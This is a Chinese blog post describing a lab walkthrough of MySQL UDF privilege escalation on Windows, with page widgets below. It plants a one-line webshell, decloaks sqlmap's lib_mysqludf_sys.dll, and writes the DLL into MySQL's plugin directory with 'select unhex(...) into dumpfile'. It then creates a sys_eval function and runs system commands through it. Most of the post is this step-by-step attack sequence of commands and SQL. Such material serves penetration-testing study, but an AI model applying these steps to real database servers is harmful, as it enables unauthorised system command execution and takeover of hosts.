后渗透—— 数据库之udf提权

利用MySQL提权原理:
1、 具有mysql的root权限,且mysql以system权限运行。
2、 具有执行sql语句的权限,webshell或者外连皆可。
UDF提权
UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
原理:
UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数。(其中包括了执行系统命令的函数)
要想利用udf,必须上传udf.dll作为udf的执行库。
mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。

实验环境

  • Windows Server 2008 R2 x64
  • wamp
  • MySQL-5.5.15-(64-bit).msi
  • xampp-win32-5.6.28-1-VC11-installer
  • 菜刀
  • sqlmap
  • PHPstudy

在这里插入图片描述

模拟实验

1、环境搭建

安装xampp-win32-5.6.28-1-VC11-installer
在这里插入图片描述
安装MySQL-5.5.15-(64-bit).msi
在这里插入图片描述
安装IIS服务器
在这里插入图片描述
C:\inetpub\wwwroot目录下创建一句话木马文件
在这里插入图片描述
在浏览器中执行验证
在这里插入图片描述

2、开始提权

C:\sqlmap-master\data\udf\mysql\windows\64目录下有lib_mysqludf_sys.dll_将他复制到C:\sqlmap-master\extra\cloak
在这里插入图片描述
進到C:\sqlmap-master\extra\cloak执行cloak.py -d -i lib_mysqludf_sys.dll_编译lib_mysqludf_sys.dll_文件然后将文件复制到桌面改名为udf.dll
在这里插入图片描述
进入数据库执行select hex(load_file("C:\\Users\\sq\\Desktop\\udf.dll")) into dumpfile 'c:\\Users\\sq\\Desktop\\1.txt';
在这里插入图片描述
然后打开1.txt,用select unhex('原文内容') into dumpfile "C:\\Users\\sq\\Desktop\\2.dll";语句放到数据库中执行
在这里插入图片描述
比较桌面的两个dll文件大小,一样的字节说明没有问题
在这里插入图片描述
使用菜刀连接数据库
在这里插入图片描述
執行select @@basedir获取C:/Program Files/MySQL/MySQL Server 5.5/数据库路径
后面拼接\Lib\Plugin\构造udf安装路径"C:\\Program Files\\MySQL\\MySQL Server 5.5\\Lib\Plugin\\udf,dll"也可使用show variables like '%plugin%'语句获取
在这里插入图片描述
然后利用菜刀执行语句select unhex('dll文件的16进制') into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\Lib\\Plugin\\udf.dll"

在这里插入图片描述

可以到该目录下验证
在这里插入图片描述
执行create function sys_eval returns string soname 'udf.dll'
在这里插入图片描述
点击func表然后执行就会看到创建的函数名
在这里插入图片描述
输入select sys_eval("whoami")成功执行
在这里插入图片描述

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值